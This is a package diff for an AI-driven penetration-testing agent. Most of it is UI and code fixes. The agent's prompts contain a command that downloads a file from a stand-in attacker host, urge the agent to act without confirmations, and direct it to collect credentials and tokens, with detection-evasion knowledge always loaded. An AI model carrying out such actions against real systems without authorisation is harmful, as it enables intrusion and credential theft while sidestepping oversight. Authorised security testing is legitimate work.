pentesting 0.48.2 → 0.49.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -12
- package/dist/main.js +129 -48
- package/dist/prompts/base.md +31 -1
- package/dist/prompts/strategy.md +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -33,18 +33,6 @@ Pentesting support tool
|
|
|
33
33
|
|
|
34
34
|
## Quick Start with Docker (Recommended)
|
|
35
35
|
|
|
36
|
-
|
|
37
|
-
```bash
|
|
38
|
-
docker run -it --rm \
|
|
39
|
-
-e PENTEST_API_KEY="your_glm_api_key" \
|
|
40
|
-
-e PENTEST_BASE_URL="https://open.bigmodel.cn/api/paas/v4" \
|
|
41
|
-
-e PENTEST_MODEL="glm-5" \
|
|
42
|
-
-v ./pentest-data:/root/.pentest \
|
|
43
|
-
agnusdei1207/pentesting
|
|
44
|
-
```
|
|
45
|
-
|
|
46
|
-
### Using Brave Search
|
|
47
|
-
|
|
48
36
|
```bash
|
|
49
37
|
docker run -it --rm \
|
|
50
38
|
-e PENTEST_API_KEY="your_glm_api_key" \
|
package/dist/main.js
CHANGED
|
@@ -13,7 +13,7 @@ import chalk from "chalk";
|
|
|
13
13
|
|
|
14
14
|
// src/platform/tui/app.tsx
|
|
15
15
|
import { useState as useState5, useCallback as useCallback4, useEffect as useEffect4, useRef as useRef5 } from "react";
|
|
16
|
-
import { Box as Box6, useInput as useInput2, useApp } from "ink";
|
|
16
|
+
import { Box as Box6, useInput as useInput2, useApp, useStdout } from "ink";
|
|
17
17
|
|
|
18
18
|
// src/platform/tui/hooks/useAgent.ts
|
|
19
19
|
import { useState as useState2, useEffect as useEffect2, useCallback as useCallback2, useRef as useRef3 } from "react";
|
|
@@ -331,7 +331,7 @@ var ORPHAN_PROCESS_NAMES = [
|
|
|
331
331
|
|
|
332
332
|
// src/shared/constants/agent.ts
|
|
333
333
|
var APP_NAME = "Pentest AI";
|
|
334
|
-
var APP_VERSION = "0.
|
|
334
|
+
var APP_VERSION = "0.49.0";
|
|
335
335
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
336
336
|
var LLM_ROLES = {
|
|
337
337
|
SYSTEM: "system",
|
|
@@ -2920,6 +2920,8 @@ var AttackGraph = class {
|
|
|
2920
2920
|
// ─── TUI Visualization ──────────────────────────────────────
|
|
2921
2921
|
/**
|
|
2922
2922
|
* Generate ASCII visualization for TUI /graph command.
|
|
2923
|
+
* WHY no truncation: /graph is the user's audit view — all nodes must be visible.
|
|
2924
|
+
* Truncation is only for toPrompt() (LLM context budget).
|
|
2923
2925
|
*/
|
|
2924
2926
|
toASCII() {
|
|
2925
2927
|
if (this.nodes.size === 0) return "(Empty attack graph \u2014 no discoveries yet)";
|
|
@@ -2945,17 +2947,13 @@ var AttackGraph = class {
|
|
|
2945
2947
|
[NODE_STATUS.SUCCEEDED]: "\u25CF",
|
|
2946
2948
|
[NODE_STATUS.FAILED]: "\u2717"
|
|
2947
2949
|
};
|
|
2948
|
-
|
|
2950
|
+
const typeSummary = Object.entries(groups).map(([t, ns]) => `${typeIcons[t] || "\xB7"} ${ns.length}`).join(" ");
|
|
2951
|
+
lines.push(`\u2502 ${typeSummary}`);
|
|
2949
2952
|
for (const [type, nodes] of Object.entries(groups)) {
|
|
2950
|
-
if (nodeCount >= GRAPH_LIMITS.ASCII_MAX_NODES) {
|
|
2951
|
-
lines.push(`\u2502 ... and ${this.nodes.size - nodeCount} more nodes`);
|
|
2952
|
-
break;
|
|
2953
|
-
}
|
|
2954
2953
|
const icon = typeIcons[type] || "\xB7";
|
|
2955
2954
|
lines.push(`\u2502`);
|
|
2956
2955
|
lines.push(`\u2502 ${icon} ${type.toUpperCase()} (${nodes.length})`);
|
|
2957
2956
|
for (const node of nodes) {
|
|
2958
|
-
if (nodeCount >= GRAPH_LIMITS.ASCII_MAX_NODES) break;
|
|
2959
2957
|
const sIcon = statusIcons[node.status] || "?";
|
|
2960
2958
|
const fail = node.status === NODE_STATUS.FAILED && node.failReason ? ` \u2014 ${node.failReason}` : "";
|
|
2961
2959
|
let detail = "";
|
|
@@ -2982,7 +2980,6 @@ var AttackGraph = class {
|
|
|
2982
2980
|
return `${eName}${eStatus}`;
|
|
2983
2981
|
}).join(", ")}` : "";
|
|
2984
2982
|
lines.push(`\u2502 ${sIcon} ${node.label}${detail}${fail}${edgeStr}`);
|
|
2985
|
-
nodeCount++;
|
|
2986
2983
|
}
|
|
2987
2984
|
}
|
|
2988
2985
|
const succeededNodes = Array.from(this.nodes.values()).filter((n) => n.status === NODE_STATUS.SUCCEEDED);
|
|
@@ -3816,19 +3813,27 @@ var AgentEventEmitter = class {
|
|
|
3816
3813
|
}
|
|
3817
3814
|
}
|
|
3818
3815
|
/**
|
|
3819
|
-
* Emit an event
|
|
3816
|
+
* Emit an event.
|
|
3817
|
+
* WHY try-catch: Listeners must NEVER crash the emitter.
|
|
3818
|
+
* If a TUI listener throws (e.g., setState after unmount), the agent loop must survive.
|
|
3820
3819
|
*/
|
|
3821
3820
|
emit(event) {
|
|
3822
3821
|
const listeners = this.listeners.get(event.type);
|
|
3823
3822
|
if (listeners) {
|
|
3824
3823
|
for (const listener of listeners) {
|
|
3825
|
-
|
|
3824
|
+
try {
|
|
3825
|
+
listener(event);
|
|
3826
|
+
} catch {
|
|
3827
|
+
}
|
|
3826
3828
|
}
|
|
3827
3829
|
}
|
|
3828
3830
|
const anyListeners = this.listeners.get("*");
|
|
3829
3831
|
if (anyListeners) {
|
|
3830
3832
|
for (const listener of anyListeners) {
|
|
3831
|
-
|
|
3833
|
+
try {
|
|
3834
|
+
listener(event);
|
|
3835
|
+
} catch {
|
|
3836
|
+
}
|
|
3832
3837
|
}
|
|
3833
3838
|
}
|
|
3834
3839
|
}
|
|
@@ -10120,10 +10125,6 @@ function parseAnalystMemo(response) {
|
|
|
10120
10125
|
}
|
|
10121
10126
|
function formatAnalystDigest(digest, filePath, originalChars) {
|
|
10122
10127
|
return [
|
|
10123
|
-
"\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557",
|
|
10124
|
-
"\u2551 ANALYST DIGEST (Independent LLM analysis) \u2551",
|
|
10125
|
-
"\u255A\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255D",
|
|
10126
|
-
"",
|
|
10127
10128
|
digest,
|
|
10128
10129
|
"",
|
|
10129
10130
|
`\u{1F4C2} Full output saved: ${filePath} (${originalChars} chars)`,
|
|
@@ -10770,6 +10771,30 @@ RULES:
|
|
|
10770
10771
|
this.state.addLoot({ type: LOOT_TYPES.CREDENTIAL, host: "auto-extracted", detail: cred, obtainedAt: Date.now() });
|
|
10771
10772
|
}
|
|
10772
10773
|
}
|
|
10774
|
+
if (digestResult?.memo?.attackVectors.length && digestResult.memo.attackValue === "HIGH") {
|
|
10775
|
+
const existingTitles = new Set(this.state.getFindings().map((f) => f.title));
|
|
10776
|
+
for (const vector of digestResult.memo.attackVectors) {
|
|
10777
|
+
const title = `[Auto] ${vector.slice(0, 100)}`;
|
|
10778
|
+
if (!existingTitles.has(title)) {
|
|
10779
|
+
this.state.addFinding({
|
|
10780
|
+
id: generateId(),
|
|
10781
|
+
title,
|
|
10782
|
+
severity: "high",
|
|
10783
|
+
affected: [],
|
|
10784
|
+
description: `Auto-extracted by Analyst LLM: ${vector}`,
|
|
10785
|
+
evidence: digestResult.memo.keyFindings.slice(0, 5),
|
|
10786
|
+
isVerified: false,
|
|
10787
|
+
remediation: "",
|
|
10788
|
+
foundAt: Date.now()
|
|
10789
|
+
});
|
|
10790
|
+
this.state.attackGraph.addVulnerability(title, "auto-detected", "high", false);
|
|
10791
|
+
existingTitles.add(title);
|
|
10792
|
+
}
|
|
10793
|
+
}
|
|
10794
|
+
}
|
|
10795
|
+
if (this.state.getFindings().length > 0 && this.state.getPhase() === PHASES.RECON) {
|
|
10796
|
+
this.state.setPhase(PHASES.VULN_ANALYSIS);
|
|
10797
|
+
}
|
|
10773
10798
|
}
|
|
10774
10799
|
/**
|
|
10775
10800
|
* Enrich tool error — delegates to extracted module (§3-1)
|
|
@@ -11360,8 +11385,14 @@ var CORE_KNOWLEDGE_FILES = [
|
|
|
11360
11385
|
// Attack prioritization, first-turn protocol, upgrade loop
|
|
11361
11386
|
AGENT_FILES.ORCHESTRATOR,
|
|
11362
11387
|
// Phase transitions, multi-target management
|
|
11363
|
-
AGENT_FILES.EVASION
|
|
11388
|
+
AGENT_FILES.EVASION,
|
|
11364
11389
|
// Detection avoidance (always relevant)
|
|
11390
|
+
AGENT_FILES.ZERO_DAY,
|
|
11391
|
+
// Known CVE lookup + unknown vuln discovery methodology
|
|
11392
|
+
AGENT_FILES.PAYLOAD_CRAFT,
|
|
11393
|
+
// Payload mutation and filter bypass techniques
|
|
11394
|
+
AGENT_FILES.INFRA
|
|
11395
|
+
// Active Directory / infrastructure attack methodology
|
|
11365
11396
|
];
|
|
11366
11397
|
var PHASE_TECHNIQUE_MAP = {
|
|
11367
11398
|
[PHASES.RECON]: ["network-svc", "shells", "crypto"],
|
|
@@ -12541,8 +12572,14 @@ var useAgentState = () => {
|
|
|
12541
12572
|
}
|
|
12542
12573
|
}, []);
|
|
12543
12574
|
const clearAllTimers = useCallback(() => {
|
|
12544
|
-
if (timerRef.current)
|
|
12545
|
-
|
|
12575
|
+
if (timerRef.current) {
|
|
12576
|
+
clearInterval(timerRef.current);
|
|
12577
|
+
timerRef.current = null;
|
|
12578
|
+
}
|
|
12579
|
+
if (retryCountdownRef.current) {
|
|
12580
|
+
clearInterval(retryCountdownRef.current);
|
|
12581
|
+
retryCountdownRef.current = null;
|
|
12582
|
+
}
|
|
12546
12583
|
}, []);
|
|
12547
12584
|
return {
|
|
12548
12585
|
// State
|
|
@@ -12808,7 +12845,10 @@ function handleRetry(e, addMessage, setRetryState, retryCountdownRef, retryCount
|
|
|
12808
12845
|
remaining -= 1;
|
|
12809
12846
|
if (remaining <= 0) {
|
|
12810
12847
|
setRetryState({ status: "idle" });
|
|
12811
|
-
if (retryCountdownRef.current)
|
|
12848
|
+
if (retryCountdownRef.current) {
|
|
12849
|
+
clearInterval(retryCountdownRef.current);
|
|
12850
|
+
retryCountdownRef.current = null;
|
|
12851
|
+
}
|
|
12812
12852
|
} else {
|
|
12813
12853
|
setRetryState((prev) => prev.status === "retrying" ? { ...prev, countdown: remaining } : prev);
|
|
12814
12854
|
}
|
|
@@ -12876,25 +12916,33 @@ var useAgent = (shouldAutoApprove, target) => {
|
|
|
12876
12916
|
}
|
|
12877
12917
|
}, [agent, target]);
|
|
12878
12918
|
useAgentEvents(agent, eventsRef, state);
|
|
12919
|
+
const abortedRef = useRef3(false);
|
|
12879
12920
|
const executeTask = useCallback2(async (task) => {
|
|
12921
|
+
abortedRef.current = false;
|
|
12880
12922
|
setIsProcessing(true);
|
|
12881
12923
|
manageTimer("start");
|
|
12882
12924
|
setCurrentStatus("Thinking");
|
|
12883
12925
|
resetCumulativeCounters();
|
|
12884
12926
|
try {
|
|
12885
12927
|
const response = await agent.execute(task);
|
|
12928
|
+
if (abortedRef.current) return;
|
|
12886
12929
|
const meta = lastResponseMetaRef.current;
|
|
12887
12930
|
const suffix = meta ? ` ${formatMeta(meta.durationMs || 0, (meta.tokens?.input || 0) + (meta.tokens?.output || 0))}` : "";
|
|
12888
12931
|
addMessage("ai", response + suffix);
|
|
12889
12932
|
} catch (e) {
|
|
12890
|
-
|
|
12933
|
+
if (!abortedRef.current) {
|
|
12934
|
+
addMessage("error", e instanceof Error ? e.message : String(e));
|
|
12935
|
+
}
|
|
12891
12936
|
} finally {
|
|
12892
|
-
|
|
12893
|
-
|
|
12894
|
-
|
|
12937
|
+
if (!abortedRef.current) {
|
|
12938
|
+
manageTimer("stop");
|
|
12939
|
+
setIsProcessing(false);
|
|
12940
|
+
setCurrentStatus("");
|
|
12941
|
+
}
|
|
12895
12942
|
}
|
|
12896
12943
|
}, [agent, addMessage, manageTimer, resetCumulativeCounters, setIsProcessing, lastResponseMetaRef, setCurrentStatus]);
|
|
12897
12944
|
const abort = useCallback2(() => {
|
|
12945
|
+
abortedRef.current = true;
|
|
12898
12946
|
agent.abort();
|
|
12899
12947
|
setIsProcessing(false);
|
|
12900
12948
|
manageTimer("stop");
|
|
@@ -13323,6 +13371,7 @@ var ChatInput = memo4(({
|
|
|
13323
13371
|
paddingX: showPreview ? 1 : 0,
|
|
13324
13372
|
marginBottom: 0,
|
|
13325
13373
|
height: showPreview ? void 0 : 0,
|
|
13374
|
+
overflowX: "hidden",
|
|
13326
13375
|
children: showPreview && suggestions.map((cmd, i) => {
|
|
13327
13376
|
const isFirst = i === 0;
|
|
13328
13377
|
const nameColor = isFirst ? THEME.white : THEME.gray;
|
|
@@ -13350,6 +13399,7 @@ var ChatInput = memo4(({
|
|
|
13350
13399
|
borderStyle: "single",
|
|
13351
13400
|
borderColor: inputRequest.status === "active" ? THEME.yellow : THEME.border.default,
|
|
13352
13401
|
paddingX: 1,
|
|
13402
|
+
overflowX: "hidden",
|
|
13353
13403
|
children: inputRequest.status === "active" ? /* @__PURE__ */ jsxs4(Box4, { children: [
|
|
13354
13404
|
/* @__PURE__ */ jsx5(Text5, { color: THEME.yellow, children: "[auth]" }),
|
|
13355
13405
|
/* @__PURE__ */ jsxs4(Text5, { color: THEME.gray, children: [
|
|
@@ -13439,6 +13489,8 @@ var footer_default = Footer;
|
|
|
13439
13489
|
import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
|
|
13440
13490
|
var App = ({ autoApprove = false, target }) => {
|
|
13441
13491
|
const { exit } = useApp();
|
|
13492
|
+
const { stdout } = useStdout();
|
|
13493
|
+
const terminalWidth = stdout?.columns ?? 80;
|
|
13442
13494
|
const [input, setInput] = useState5("");
|
|
13443
13495
|
const [secretInput, setSecretInput] = useState5("");
|
|
13444
13496
|
const [autoApproveMode, setAutoApproveMode] = useState5(autoApprove);
|
|
@@ -13468,12 +13520,15 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
13468
13520
|
inputRequestRef.current = inputRequest;
|
|
13469
13521
|
const handleExit = useCallback4(() => {
|
|
13470
13522
|
const ir = inputRequestRef.current;
|
|
13471
|
-
if (ir.status === "active")
|
|
13523
|
+
if (ir.status === "active") {
|
|
13524
|
+
ir.resolve(null);
|
|
13525
|
+
setInputRequest({ status: "inactive" });
|
|
13526
|
+
}
|
|
13472
13527
|
cleanupAllProcesses().catch(() => {
|
|
13473
13528
|
});
|
|
13474
13529
|
exit();
|
|
13475
13530
|
setTimeout(() => process.exit(0), DISPLAY_LIMITS.EXIT_DELAY);
|
|
13476
|
-
}, [exit]);
|
|
13531
|
+
}, [exit, setInputRequest]);
|
|
13477
13532
|
const handleCommand = useCallback4(async (cmd, args) => {
|
|
13478
13533
|
switch (cmd) {
|
|
13479
13534
|
case UI_COMMANDS.HELP:
|
|
@@ -13532,28 +13587,54 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
13532
13587
|
addMessage("system", "No findings.");
|
|
13533
13588
|
break;
|
|
13534
13589
|
}
|
|
13535
|
-
const
|
|
13536
|
-
|
|
13537
|
-
|
|
13538
|
-
|
|
13539
|
-
|
|
13540
|
-
|
|
13541
|
-
|
|
13542
|
-
|
|
13543
|
-
|
|
13544
|
-
|
|
13545
|
-
|
|
13546
|
-
|
|
13547
|
-
|
|
13548
|
-
|
|
13549
|
-
|
|
13550
|
-
|
|
13551
|
-
|
|
13552
|
-
|
|
13553
|
-
|
|
13554
|
-
|
|
13590
|
+
const severityOrder = ["critical", "high", "medium", "low", "info"];
|
|
13591
|
+
const severityIcons = {
|
|
13592
|
+
critical: "\u{1F534}",
|
|
13593
|
+
high: "\u{1F7E0}",
|
|
13594
|
+
medium: "\u{1F7E1}",
|
|
13595
|
+
low: "\u{1F7E2}",
|
|
13596
|
+
info: "\u26AA"
|
|
13597
|
+
};
|
|
13598
|
+
const grouped = {};
|
|
13599
|
+
for (const f of findings) {
|
|
13600
|
+
const sev = f.severity.toLowerCase();
|
|
13601
|
+
if (!grouped[sev]) grouped[sev] = [];
|
|
13602
|
+
grouped[sev].push(f);
|
|
13603
|
+
}
|
|
13604
|
+
const findingLines = [];
|
|
13605
|
+
const sevCounts = severityOrder.filter((s) => grouped[s]?.length).map((s) => `${severityIcons[s]} ${s.toUpperCase()}: ${grouped[s].length}`).join(" ");
|
|
13606
|
+
findingLines.push(`\u2500\u2500\u2500 ${findings.length} Findings \u2500\u2500 ${sevCounts} \u2500\u2500\u2500`);
|
|
13607
|
+
findingLines.push("");
|
|
13608
|
+
for (const sev of severityOrder) {
|
|
13609
|
+
const group = grouped[sev];
|
|
13610
|
+
if (!group?.length) continue;
|
|
13611
|
+
const icon = severityIcons[sev] || "\u2022";
|
|
13612
|
+
findingLines.push(`${icon} \u2500\u2500 ${sev.toUpperCase()} (${group.length}) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500`);
|
|
13555
13613
|
findingLines.push("");
|
|
13556
|
-
|
|
13614
|
+
group.forEach((f, i) => {
|
|
13615
|
+
const verified = f.isVerified ? `\u2713 Verified` : `? Unverified`;
|
|
13616
|
+
const atk = f.attackPattern ? ` \u2502 ATT&CK: ${f.attackPattern}` : "";
|
|
13617
|
+
const cat = f.category ? ` \u2502 ${f.category}` : "";
|
|
13618
|
+
findingLines.push(` [${i + 1}] ${f.title}`);
|
|
13619
|
+
findingLines.push(` ${verified}${atk}${cat}`);
|
|
13620
|
+
if (f.affected.length > 0) {
|
|
13621
|
+
findingLines.push(` Affected: ${f.affected.join(", ")}`);
|
|
13622
|
+
}
|
|
13623
|
+
if (f.description) {
|
|
13624
|
+
findingLines.push(` ${f.description}`);
|
|
13625
|
+
}
|
|
13626
|
+
if (f.evidence.length > 0) {
|
|
13627
|
+
findingLines.push(` Evidence:`);
|
|
13628
|
+
f.evidence.forEach((e) => {
|
|
13629
|
+
findingLines.push(` \u25B8 ${e}`);
|
|
13630
|
+
});
|
|
13631
|
+
}
|
|
13632
|
+
if (f.remediation) {
|
|
13633
|
+
findingLines.push(` Fix: ${f.remediation}`);
|
|
13634
|
+
}
|
|
13635
|
+
findingLines.push("");
|
|
13636
|
+
});
|
|
13637
|
+
}
|
|
13557
13638
|
addMessage("system", findingLines.join("\n"));
|
|
13558
13639
|
break;
|
|
13559
13640
|
case UI_COMMANDS.ASSETS:
|
|
@@ -13663,7 +13744,7 @@ ${procData.stdout || "(no output)"}
|
|
|
13663
13744
|
process.off("SIGTERM", onSignal);
|
|
13664
13745
|
};
|
|
13665
13746
|
}, [handleCtrlC]);
|
|
13666
|
-
return /* @__PURE__ */ jsxs6(Box6, { flexDirection: "column", paddingX: 1, children: [
|
|
13747
|
+
return /* @__PURE__ */ jsxs6(Box6, { flexDirection: "column", paddingX: 1, width: terminalWidth, children: [
|
|
13667
13748
|
/* @__PURE__ */ jsx7(Box6, { flexDirection: "column", marginBottom: 1, flexGrow: 1, children: /* @__PURE__ */ jsx7(MessageList, { messages }) }),
|
|
13668
13749
|
/* @__PURE__ */ jsxs6(Box6, { flexDirection: "column", children: [
|
|
13669
13750
|
/* @__PURE__ */ jsx7(
|
package/dist/prompts/base.md
CHANGED
|
@@ -115,11 +115,41 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
|
|
|
115
115
|
|
|
116
116
|
### 1. Act, Don't Ask
|
|
117
117
|
- ScopeGuard enforces boundaries. Out-of-scope targets are automatically blocked
|
|
118
|
-
- Record findings immediately with add_finding
|
|
119
118
|
- **Execute tasks immediately without unnecessary confirmations/questions**
|
|
120
119
|
- If no results → **try a different approach** (never repeat the same method)
|
|
121
120
|
- ask_user is for: (1) physically unobtainable information (passwords, SSH keys, API tokens), (2) **confirming you're truly done** when all vectors are exhausted
|
|
122
121
|
|
|
122
|
+
### 🔴 CRITICAL: State Management — MANDATORY AFTER EVERY DISCOVERY
|
|
123
|
+
|
|
124
|
+
**You MUST call these tools to record your progress. If you skip these, your findings are LOST.**
|
|
125
|
+
|
|
126
|
+
**`add_finding`** — Call IMMEDIATELY when you **CONFIRM** a vulnerability:
|
|
127
|
+
- Confirmed LFI/RFI → `add_finding` with evidence (the actual command output)
|
|
128
|
+
- Confirmed SQLi → `add_finding` with evidence
|
|
129
|
+
- Confirmed RCE → `add_finding` with evidence
|
|
130
|
+
- Confirmed auth bypass → `add_finding` with evidence
|
|
131
|
+
- **Rule: If you can reproduce it, it's a confirmed finding. Record it NOW.**
|
|
132
|
+
|
|
133
|
+
**`add_target`** — Call when you discover a new host or service:
|
|
134
|
+
- New IP found during recon → `add_target`
|
|
135
|
+
- New ports/services discovered → `add_target` (merges with existing)
|
|
136
|
+
|
|
137
|
+
**`add_loot`** — Call when you find credentials, tokens, keys, hashes:
|
|
138
|
+
- Password, hash, API key, SSH key, JWT, session cookie → `add_loot`
|
|
139
|
+
|
|
140
|
+
**`update_phase`** — Call when your ACTIVITY changes:
|
|
141
|
+
- Scanning/enumerating services → `update_phase({ phase: "recon" })`
|
|
142
|
+
- Testing for vulnerabilities → `update_phase({ phase: "vulnerability_analysis" })`
|
|
143
|
+
- Exploiting confirmed vulns → `update_phase({ phase: "exploit" })`
|
|
144
|
+
- Post-access enumeration → `update_phase({ phase: "post_exploitation" })`
|
|
145
|
+
- Escalating privileges → `update_phase({ phase: "privilege_escalation" })`
|
|
146
|
+
- Moving to other hosts → `update_phase({ phase: "lateral_movement" })`
|
|
147
|
+
|
|
148
|
+
⚠️ **Self-Check Every Turn:**
|
|
149
|
+
- "Did I confirm a vulnerability but NOT call `add_finding`?" → Call it NOW
|
|
150
|
+
- "Am I exploiting but Phase is still 'recon'?" → Call `update_phase` NOW
|
|
151
|
+
- "Did I find credentials but NOT call `add_loot`?" → Call it NOW
|
|
152
|
+
|
|
123
153
|
### 2. ask_user Rules
|
|
124
154
|
- Use received values **immediately in the next command** — receiving and not using is forbidden
|
|
125
155
|
- Once received → **reuse** — never ask for the same thing again
|
package/dist/prompts/strategy.md
CHANGED
|
@@ -620,7 +620,7 @@ Layer 2 — Structural Reduction (cost: ~1ms)
|
|
|
620
620
|
Layer 3 — Semantic Digest (cost: ~2-5s, separate LLM call)
|
|
621
621
|
Only fires for truly massive outputs (>50K after Layer 1+2).
|
|
622
622
|
Produces a focused 30-line intelligence summary.
|
|
623
|
-
Full output is ALWAYS saved to
|
|
623
|
+
Full output is ALWAYS saved to .pentesting/outputs/ for reference.
|
|
624
624
|
```
|
|
625
625
|
|
|
626
626
|
### Agent Behavioral Rules for Output Handling
|